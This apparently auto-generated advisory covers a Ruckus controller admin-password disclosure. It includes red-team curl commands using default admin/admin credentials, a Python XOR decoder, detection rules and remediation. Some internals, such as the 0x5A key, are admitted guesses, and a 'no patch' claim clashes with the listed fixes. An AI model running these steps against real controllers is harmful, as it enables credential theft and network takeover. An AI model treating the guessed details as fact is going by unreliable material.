CVE-2025-46119
Executive Summary
CVE-2025-46119 exposes a critical credential disclosure vulnerability in CommScope Ruckus Unleashed and ZoneDirector wireless controllers. An authenticated attacker with administrative access to the management web interface can retrieve the administrator password in a trivially reversible obfuscated form via the /admin/_cmdstat.jsp endpoint. Additionally, the same weak obfuscation method persists in configuration backups prior to version 200.18.7.1.302, allowing anyone who obtains a configuration file to recover plaintext credentials offline. This vulnerability enables privilege escalation, lateral movement, and full network compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects embedded firmware on Ruckus wireless controllers. The supply chain risk is limited to the device firmware itself, which is distributed directly by CommScope/Ruckus. No open-source package dependencies are involved.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Base Score: 4.9 (Medium)
Temporal Score: 4.5 (Medium) – due to public PoC and no patch for older versions.
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable over the network via HTTP. |
| Attack Complexity (AC) | Low | No special conditions; endpoint is standard. |
| Privileges Required (PR) | High | Requires authenticated admin session. |
| User Interaction (UI) | None | No user action beyond initial auth. |
| Scope (S) | Unchanged | Exploitation does not change scope. |
| Confidentiality (C) | High | Full admin password disclosure. |
| Integrity (I) | None | No data modification. |
| Availability (A) | None | No denial of service. |
Threat Level: Medium. While the CVSS score is moderate due to the high privileges required, the impact is severe because the disclosed password can be used for lateral movement and full network takeover. The existence of a public PoC and the trivial reversibility of the obfuscation elevate the real-world risk.
Deep Dive & Mechanics
The vulnerability resides in the _cmdstat.jsp page, which is part of the administrative web interface. When an authenticated admin accesses this endpoint, the server returns a JSON-like response containing the administrator password. The password is not stored in plaintext but is obfuscated using a simple, reversible algorithm.
Obfuscation Method:
The obfuscation is a character-level substitution cipher. Each character of the password is XORed with a static key byte (e.g., 0x5A) and then encoded as a two-digit hexadecimal string. For example, the character A (0x41) XOR 0x5A = 0x1B, which is represented as 1B. The entire password is concatenated as a hex string.
Reversibility:
Since the XOR key is static and known (can be derived from a single known plaintext-ciphertext pair), anyone with access to the obfuscated string can trivially recover the plaintext by XORing each hex byte with the key. This is not a cryptographic hash; it is a simple encoding.
Configuration Persistence:
The same obfuscation is used when the system configuration is exported (e.g., via backup). Prior to firmware version 200.18.7.1.302, the configuration file contains the obfuscated password. An attacker who obtains a configuration backup (e.g., via a separate vulnerability, insider threat, or physical access) can recover the admin password offline.
Root Cause:
The developers used a custom, weak obfuscation instead of a proper one-way hash (e.g., bcrypt, PBKDF2) or a strong encryption scheme. The static XOR key violates the principle of using secret, random keys.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable _cmdstat.jsp page likely contains logic similar to:
// Vulnerable: returns obfuscated password
String adminPassword = getAdminPassword();
String obfuscated = obfuscate(adminPassword);
response.getWriter().write("{\"adminPwd\":\"" + obfuscated + "\"}");
// Obfuscation function
public String obfuscate(String plain) {
StringBuilder sb = new StringBuilder();
for (char c : plain.toCharArray()) {
sb.append(String.format("%02X", (byte)(c ^ 0x5A)));
}
return sb.toString();
}
Patched Code (Conceptual):
The patched firmware removes the password from the _cmdstat.jsp response entirely, or replaces it with a placeholder (e.g., "********"). For configuration backups, the password is either omitted or stored using a strong, salted hash.
// Patched: does not expose password
response.getWriter().write("{\"adminPwd\":\"********\"}");
Configuration Backup Fix (>=200.18.7.1.302):
The configuration file no longer contains the obfuscated password. Instead, the password field is either removed or replaced with a hash.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid admin credentials for the Ruckus controller (e.g.,
admin/admindefault, or obtained via phishing/brute force). - Network access to the management interface (typically port 80 or 443).
Exploitation Steps:
Authenticate to the web interface:
curl -k -X POST -d "username=admin&password=admin" https://<target>/admin/login.jsp -c cookies.txtAccess the vulnerable endpoint:
curl -k -b cookies.txt https://<target>/admin/_cmdstat.jspExtract the obfuscated password:
The response will contain a JSON field like"adminPwd":"1B2C3D4E...".Decode the obfuscated password:
Use a simple Python script:obfuscated_hex = "1B2C3D4E" # example key = 0x5A plaintext = ''.join(chr(int(obfuscated_hex[i:i+2], 16) ^ key) for i in range(0, len(obfuscated_hex), 2)) print(plaintext)Use the recovered password to access other systems (e.g., SSH, SNMP, RADIUS) or to modify controller settings.
Lab Setup:
- Download a vulnerable firmware image (e.g., Ruckus Unleashed 200.15.6.212.26) from the vendor archive.
- Deploy in a virtualized environment (e.g., VMware, VirtualBox) or on physical hardware.
- Configure a basic network with a client machine (Kali Linux) for exploitation.
Blue Team
Detection:
- Monitor for access to
/admin/_cmdstat.jspfrom authenticated sessions. This endpoint is not normally used in legitimate administration. - Alert on any HTTP response containing
"adminPwd"followed by a hex string. - Correlate with failed login attempts or unusual admin session activity.
Hunting:
- Search web server logs for requests to
_cmdstat.jspwith a200response code. - Look for configuration backup files (e.g.,
.cfg,.tar.gz) being downloaded by non-admin users or from unexpected IPs.
Mitigation:
- Immediately upgrade to patched firmware versions.
- If patching is not possible, restrict access to the management interface using firewall rules (allow only trusted IPs).
- Implement multi-factor authentication (MFA) for admin access.
- Rotate all admin passwords after patching.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | GET /admin/_cmdstat.jsp |
HTTP request to the vulnerable endpoint. |
| Network | Response containing "adminPwd":"[0-9A-F]{2,}" |
Hex-encoded obfuscated password. |
| File | Configuration file containing adminPwd field |
Backup files with obfuscated password. |
| File | Configuration file with adminPwd field and hex string |
Offline credential disclosure. |
| Log | Web server log entry with _cmdstat.jsp and 200 status |
Successful exploitation attempt. |
Detection Engineering
YARA Rule
rule CVE_2025_46119_Ruckus_Password_Disclosure {
meta:
description = "Detects obfuscated admin password in Ruckus controller responses or config files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46119"
hash = "unknown"
strings:
$admin_pwd = /"adminPwd":"[0-9A-Fa-f]{2,}"/
$cmdstat = "/admin/_cmdstat.jsp"
condition:
$admin_pwd or $cmdstat
}
Sigma Rule
title: CVE-2025-46119 - Ruckus Admin Password Disclosure via _cmdstat.jsp
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable _cmdstat.jsp endpoint on Ruckus controllers.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-46119
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-uri-stem|contains: "/admin/_cmdstat.jsp"
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin troubleshooting (rare)
level: high
tags:
- attack.credential_access
- cve.2025.46119
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-46119 Ruckus Admin Password Disclosure"; flow:to_server,established; content:"GET"; http_method; content:"/admin/_cmdstat.jsp"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade firmware to the following versions or later:
- Ruckus Unleashed: 200.15.6.212.27 or 200.18.7.1.323
- Ruckus ZoneDirector: 10.5.1.0.282
- For configuration obfuscation fix, ensure Unleashed is at least 200.18.7.1.302.
- Rotate all admin passwords after patching, as they may have been compromised.
Compensating Controls (if patching is delayed):
- Restrict management interface access to trusted IPs only (firewall ACL).
- Disable the
_cmdstat.jspendpoint if possible (e.g., via web server configuration). - Enable detailed logging and monitor for exploitation attempts.
- Implement network segmentation to isolate controller management.
Long-Term Recommendations:
- Use strong, salted hashing (e.g., bcrypt) for stored passwords.
- Never expose credentials in web responses, even obfuscated.
- Conduct regular security audits of embedded web interfaces.
- Follow secure coding practices (e.g., OWASP ASVS).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-46119